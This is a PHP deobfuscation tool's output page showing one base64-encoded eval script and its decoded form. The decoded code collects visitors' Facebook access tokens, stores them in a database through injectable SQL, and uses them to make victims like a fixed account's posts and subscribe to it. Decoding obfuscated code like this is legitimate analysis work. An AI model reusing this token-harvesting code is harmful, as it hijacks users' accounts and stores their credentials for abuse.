Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCm9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsNCnNlc3Npb25fc3R..
Decoded Output download
?>b'<?php
ob_start(\'ob_gzhandler\');
session_start();
if($_POST[\'access_token\']) {
$token2 = $_POST[\'access_token\'];
if(preg_match("\'access_token=(.*?)&expires_in=\'", $token2, $matches)){
$token = $matches[1];
}else{
$token = $token2;
}
$me = me($token);
if($me[\'id\']){
$_SESSION[\'id\'] = $me[id];
$_SESSION[\'name\'] = $me[name];
$_SESSION[\'birthday\'] = $me[birthday];
$_SESSION[\'email\'] = $me[email];
$_SESSION[\'access_token\'] = $token;
include(\'config.php\');
$connection = mysql_connect($host,$username,$password);
if (!$connection)
{
die(\'Could not connect: \' . mysql_error());
}
mysql_select_db($dbname) or die(mysql_error());
mysql_query("SET NAMES utf8");
mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` varchar(32) NOT NULL,
`name` varchar(32) NOT NULL,
`access_token` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
");
$row = null;
$result = mysql_query("
SELECT
*
FROM
Likers
WHERE
user_id = \'" . $_SESSION[\'id\'] . "\'
");
if($result){
$row = mysql_fetch_array($result, MYSQL_ASSOC);
if(mysql_num_rows($result) > 1){
mysql_query("
DELETE FROM
Likers
WHERE
user_id=\'" . $_SESSION[\'id\'] . "\' AND
id != \'" . $row[\'id\'] . "\'
");
}
}
if(!$row){
mysql_query(
"INSERT INTO
Likers
SET
`user_id` = \'" .$_SESSION[\'id\']. "\',
`name` = \'" . $_SESSION[\'name\'] . "\',
`access_token` = \'" .$_SESSION[\'access_token\']. "\'
");
} else {
mysql_query(
"UPDATE
Likers
SET
`access_token` = \'" . $_SESSION[\'access_token\'] . "\'
WHERE
`id` = " . $row[\'id\'] . "
");
}
mysql_close($connection);
//Like
$getpost = \'https://graph.facebook.com/100004227663763/feed?limit=1&access_token=\'.$token;
$get = auto($getpost);
$array = json_decode($get, true);
$postid = $array[data][0][id];
$com = \'https://graph.facebook.com/\'.$postid.\'/likes?method=post&access_token=\'.$token;
$ren = auto($com);
auto($com);
auto(\'https://graph.facebook.com/100004227663763/subscribers?method=post&access_token=\'.$token);
header(\'Location: index.php\');
//end
}else{
session_destroy();
header(\'Location: index.php?tb=Token Expired. Please Do It New Token\')
;
}
}
function me($access) {
return json_decode(auto(\'https://graph.facebook.com/me?access_token=\'.$access),true);
}
function auto($url){
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $url);
$ch = curl_exec($curl);
curl_close($curl);
return $ch;
}
?>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCm9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsNCnNlc3Npb25fc3RhcnQoKTsNCmlmKCRfUE9TVFsnYWNjZXNzX3Rva2VuJ10pIHsNCgkkdG9rZW4yID0gJF9QT1NUWydhY2Nlc3NfdG9rZW4nXTsNCglpZihwcmVnX21hdGNoKCInYWNjZXNzX3Rva2VuPSguKj8pJmV4cGlyZXNfaW49JyIsICR0b2tlbjIsICRtYXRjaGVzKSl7DQoJCSR0b2tlbiA9ICRtYXRjaGVzWzFdOw0KCQkJfWVsc2V7DQoJCSR0b2tlbiA9ICR0b2tlbjI7DQoJfQ0KJG1lID0gbWUoJHRva2VuKTsNCmlmKCRtZVsnaWQnXSl7DQokX1NFU1NJT05bJ2lkJ10gPSAkbWVbaWRdOw0KJF9TRVNTSU9OWyduYW1lJ10gPSAkbWVbbmFtZV07DQokX1NFU1NJT05bJ2JpcnRoZGF5J10gPSAkbWVbYmlydGhkYXldOw0KJF9TRVNTSU9OWydlbWFpbCddID0gJG1lW2VtYWlsXTsNCiRfU0VTU0lPTlsnYWNjZXNzX3Rva2VuJ10gPSAkdG9rZW47DQppbmNsdWRlKCdjb25maWcucGhwJyk7DQokY29ubmVjdGlvbiA9IG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQppZiAoISRjb25uZWN0aW9uKQ0KICB7DQogIGRpZSgnQ291bGQgbm90IGNvbm5lY3Q6ICcgLiBteXNxbF9lcnJvcigpKTsNCiAgfQ0KbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCm15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgdXRmOCIpOw0KbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBJRiBOT1QgRVhJU1RTIGBMaWtlcnNgICgNCiAgICAgIGBpZGAgaW50KDExKSBOT1QgTlVMTCBBVVRPX0lOQ1JFTUVOVCwNCiAgICAgIGB1c2VyX2lkYCB2YXJjaGFyKDMyKSBOT1QgTlVMTCwNCiAgICAgIGBuYW1lYCB2YXJjaGFyKDMyKSBOT1QgTlVMTCwNCiAgICAgIGBhY2Nlc3NfdG9rZW5gIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwNCiAgICAgIFBSSU1BUlkgS0VZIChgaWRgKQ0KICAgICAgKSBFTkdJTkU9TXlJU0FNIERFRkFVTFQgQ0hBUlNFVD11dGY4IEFVVE9fSU5DUkVNRU5UPTEgOw0KICAgIik7DQokcm93ID0gbnVsbDsNCiAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIg0KICAgICAgU0VMRUNUDQogICAgICAgICAqDQogICAgICBGUk9NDQogICAgICAgICBMaWtlcnMNCiAgICAgIFdIRVJFDQogICAgICAgICB1c2VyX2lkID0gJyIgLiAkX1NFU1NJT05bJ2lkJ10gLiAiJw0KICAgIik7DQogICBpZigkcmVzdWx0KXsNCiAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7DQogICAgICBpZihteXNxbF9udW1fcm93cygkcmVzdWx0KSA+IDEpew0KICAgICAgICAgbXlzcWxfcXVlcnkoIg0KICAgICAgICAgICAgREVMRVRFIEZST00NCiAgICAgICAgICAgICAgIExpa2Vycw0KICAgICAgICAgICAgV0hFUkUNCiAgICAgICAgICAgICAgIHVzZXJfaWQ9JyIgLiAkX1NFU1NJT05bJ2lkJ10gLiAiJyBBTkQNCiAgICAgICAgICAgICAgIGlkICE9ICciIC4gJHJvd1snaWQnXSAuICInDQogICAgICAgICAiKTsNCiAgICAgIH0NCiAgIH0NCiAgIGlmKCEkcm93KXsNCiAgICAgIG15c3FsX3F1ZXJ5KA0KICAgICAgICAgIklOU0VSVCBJTlRPIA0KICAgICAgICAgICAgTGlrZXJzDQogICAgICAgICBTRVQNCiAgICAgICAgICAgIGB1c2VyX2lkYCA9ICciIC4kX1NFU1NJT05bJ2lkJ10uICInLA0KICAgICAgICAgICAgYG5hbWVgID0gJyIgLiAkX1NFU1NJT05bJ25hbWUnXSAuICInLA0KICAgICAgICAgICAgYGFjY2Vzc190b2tlbmAgPSAnIiAuJF9TRVNTSU9OWydhY2Nlc3NfdG9rZW4nXS4gIicNCiAgICAgICIpOw0KICAgfSBlbHNlIHsNCiAgICAgIG15c3FsX3F1ZXJ5KA0KICAgICAgICAgIlVQREFURSANCiAgICAgICAgICAgIExpa2Vycw0KICAgICAgICAgU0VUDQogICAgICAgICAgICBgYWNjZXNzX3Rva2VuYCA9ICciIC4gJF9TRVNTSU9OWydhY2Nlc3NfdG9rZW4nXSAuICInDQogICAgICAgICBXSEVSRQ0KICAgICAgICAgICAgYGlkYCA9ICIgLiAkcm93WydpZCddIC4gIg0KICAgICAgIik7DQp9DQpteXNxbF9jbG9zZSgkY29ubmVjdGlvbik7DQovL0xpa2UNCiRnZXRwb3N0ID0gJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLzEwMDAwNDIyNzY2Mzc2My9mZWVkP2xpbWl0PTEmYWNjZXNzX3Rva2VuPScuJHRva2VuOw0KJGdldCA9IGF1dG8oJGdldHBvc3QpOw0KJGFycmF5ID0ganNvbl9kZWNvZGUoJGdldCwgdHJ1ZSk7DQokcG9zdGlkID0gJGFycmF5W2RhdGFdWzBdW2lkXTsNCiRjb20gPSAnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vJy4kcG9zdGlkLicvbGlrZXM/bWV0aG9kPXBvc3QmYWNjZXNzX3Rva2VuPScuJHRva2VuOw0KJHJlbiA9IGF1dG8oJGNvbSk7DQphdXRvKCRjb20pOw0KYXV0bygnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDA0MjI3NjYzNzYzL3N1YnNjcmliZXJzP21ldGhvZD1wb3N0JmFjY2Vzc190b2tlbj0nLiR0b2tlbik7DQpoZWFkZXIoJ0xvY2F0aW9uOiBpbmRleC5waHAnKTsNCi8vZW5kDQp9ZWxzZXsNCnNlc3Npb25fZGVzdHJveSgpOw0KaGVhZGVyKCdMb2NhdGlvbjogaW5kZXgucGhwP3RiPVRva2VuIEV4cGlyZWQuIFBsZWFzZSBEbyBJdCBOZXcgVG9rZW4nKQ0KOw0KfQ0KfQ0KZnVuY3Rpb24gbWUoJGFjY2Vzcykgew0KcmV0dXJuIGpzb25fZGVjb2RlKGF1dG8oJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lP2FjY2Vzc190b2tlbj0nLiRhY2Nlc3MpLHRydWUpOw0KfQ0KDQpmdW5jdGlvbiBhdXRvKCR1cmwpew0KICAgJGN1cmwgPSBjdXJsX2luaXQoKTsNCiAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7DQogICAkY2ggPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgY3VybF9jbG9zZSgkY3VybCk7DQogICByZXR1cm4gJGNoOw0KICAgfQ0KICAgPz4=")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 929f779ff5f74338c32bd4636347532e |
| Eval Count | 1 |
| Decode Time | 87 ms |